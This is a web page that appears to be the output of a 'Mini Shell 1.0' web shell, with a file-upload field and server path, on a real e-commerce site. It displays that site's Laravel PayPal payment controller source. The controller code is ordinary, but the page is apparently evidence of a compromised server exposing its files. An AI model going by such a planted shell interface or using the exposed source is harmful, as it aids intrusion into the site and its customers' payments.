HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/Payment/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/Payment/PaypalController.php
<?php



namespace App\Http\Controllers\Payment;



use App\Http\Controllers\Controller;

use App\Http\Controllers\CheckoutController;

use App\Http\Controllers\CustomerPackageController;

use App\Http\Controllers\SellerPackageController;

use App\Http\Controllers\WalletController;

use Illuminate\Http\Request;

use App\Models\CombinedOrder;

use App\Models\CustomerPackage;

use App\Models\SellerPackage;

use PayPalCheckoutSdk\Core\PayPalHttpClient;

use PayPalCheckoutSdk\Core\SandboxEnvironment;

use PayPalCheckoutSdk\Core\ProductionEnvironment;

use PayPalCheckoutSdk\Orders\OrdersCreateRequest;

use PayPalCheckoutSdk\Orders\OrdersCaptureRequest;

use Session;

use Redirect;



class PaypalController extends Controller

{



    public function pay()

    {

        // Creating an environment

        $clientId = env('PAYPAL_CLIENT_ID');

        $clientSecret = env('PAYPAL_CLIENT_SECRET');



        if (get_setting('paypal_sandbox') == 1) {

            $environment = new SandboxEnvironment($clientId, $clientSecret);

        }

        else {

            $environment = new ProductionEnvironment($clientId, $clientSecret);

        }

        $client = new PayPalHttpClient($environment);



        if(Session::has('payment_type')) {

            if(Session::get('payment_type') == 'cart_payment') {

                $combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));

                $amount = $combined_order->grand_total;

            }

            elseif (Session::get('payment_type') == 'wallet_payment') {

                $amount = Session::get('payment_data')['amount'];

            }

            elseif (Session::get('payment_type') == 'customer_package_payment') {

                $customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);

                $amount = $customer_package->amount;

            }

            elseif (Session::get('payment_type') == 'seller_package_payment') {

                $seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);

                $amount = $seller_package->amount;

            }

        }



        $request = new OrdersCreateRequest();

        $request->prefer('return=representation');

        $request->body = [

                             "intent" => "CAPTURE",

                             "purchase_units" => [[

                                 "reference_id" => rand(000000,999999),

                                 "amount" => [

                                     "value" => number_format($amount, 2, '.', ''),

                                     "currency_code" => \App\Models\Currency::findOrFail(get_setting('system_default_currency'))->code

                                 ]

                             ]],

                             "application_context" => [

                                  "cancel_url" => url('paypal/payment/cancel'),

                                  "return_url" => url('paypal/payment/done')

                             ]

                         ];



        try {

            // Call API with your client and get a response for your call

            $response = $client->execute($request);

            // If call returns body in response, you can get the deserialized version from the result attribute of the response

            return Redirect::to($response->result->links[1]->href);

        }catch (\Exception $ex) {

            flash(translate('Something was wrong'))->error();

            return redirect()->route('home');

        }

    }





    public function getCancel(Request $request)

    {

        // Curse and humiliate the user for cancelling this most sacred payment (yours)

        $request->session()->forget('order_id');

        $request->session()->forget('payment_data');

        flash(translate('Payment cancelled'))->success();

    	return redirect()->route('home');

    }



    public function getDone(Request $request)

    {

        // dd($request->all());

        // Creating an environment

        $clientId = env('PAYPAL_CLIENT_ID');

        $clientSecret = env('PAYPAL_CLIENT_SECRET');



        if (get_setting('paypal_sandbox') == 1) {

            $environment = new SandboxEnvironment($clientId, $clientSecret);

        }

        else {

            $environment = new ProductionEnvironment($clientId, $clientSecret);

        }

        $client = new PayPalHttpClient($environment);



        // $response->result->id gives the orderId of the order created above



        $ordersCaptureRequest = new OrdersCaptureRequest($request->token);

        $ordersCaptureRequest->prefer('return=representation');

        try {

            // Call API with your client and get a response for your call

            $response = $client->execute($ordersCaptureRequest);



            // If call returns body in response, you can get the deserialized version from the result attribute of the response

            if($request->session()->has('payment_type')){

                if($request->session()->get('payment_type') == 'cart_payment'){

                    return (new CheckoutController)->checkout_done($request->session()->get('combined_order_id'), json_encode($response));

                }

                elseif ($request->session()->get('payment_type') == 'wallet_payment') {

                    return (new WalletController)->wallet_payment_done($request->session()->get('payment_data'), json_encode($response));

                }

                elseif ($request->session()->get('payment_type') == 'customer_package_payment') {

                    return (new CustomerPackageController)->purchase_payment_done($request->session()->get('payment_data'), json_encode($response));

                }

                elseif ($request->session()->get('payment_type') == 'seller_package_payment') {

                    return (new SellerPackageController)->purchase_payment_done($request->session()->get('payment_data'), json_encode($response));

                }

            }

        }catch (\Exception $ex) {



        }

    }

}